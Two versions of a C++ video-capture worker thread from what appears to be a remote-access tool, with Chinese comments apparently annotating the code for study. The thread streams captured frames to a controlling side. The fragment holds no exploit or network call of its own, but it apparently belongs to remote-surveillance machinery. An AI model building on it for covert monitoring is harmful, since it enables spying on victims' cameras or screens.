DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam ) { static dwLastScreen = GetTickCount(); CVideoManager *pThis = (CVideoManager *)lparam; if (!pThis->Initialize()) { pThis->Destroy(); pThis->m_pClient->Disconnect(); return -1; } pThis->sendBITMAPINFO(); // 等控制端对话框打开 Sleep(500); while (pThis->m_bIsWorking) { if ((GetTickCount() - dwLastScreen) < 150) Sleep(100); dwLastScreen = GetTickCount(); pThis->sendNextScreen(); } pThis->Destroy(); return 0; }
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam ) { static DWORD dwLastScreen = GetTickCount(); CVideoManager *pThis = (CVideoManager *)lparam; if (pThis->Initialize()) //转到Initialize { //pThis->Destroy(); //pThis->m_pClient->Disconnect(); //return -1; pThis->m_bIsCompress=true; //如果初始化成功就设置可以压缩 } pThis->sendBITMAPINFO(); // 等控制端对话框打开 pThis->WaitForDialogOpen(); while (pThis->m_bIsWorking) { // 限制速度 if ((GetTickCount() - dwLastScreen) < 150) Sleep(100); dwLastScreen = GetTickCount(); pThis->sendNextScreen(); //这里没有压缩相关的代码了,我们到sendNextScreen 看看 } // 销毁已经存在实例,方便重新调整 pThis->Destroy(); return 0; }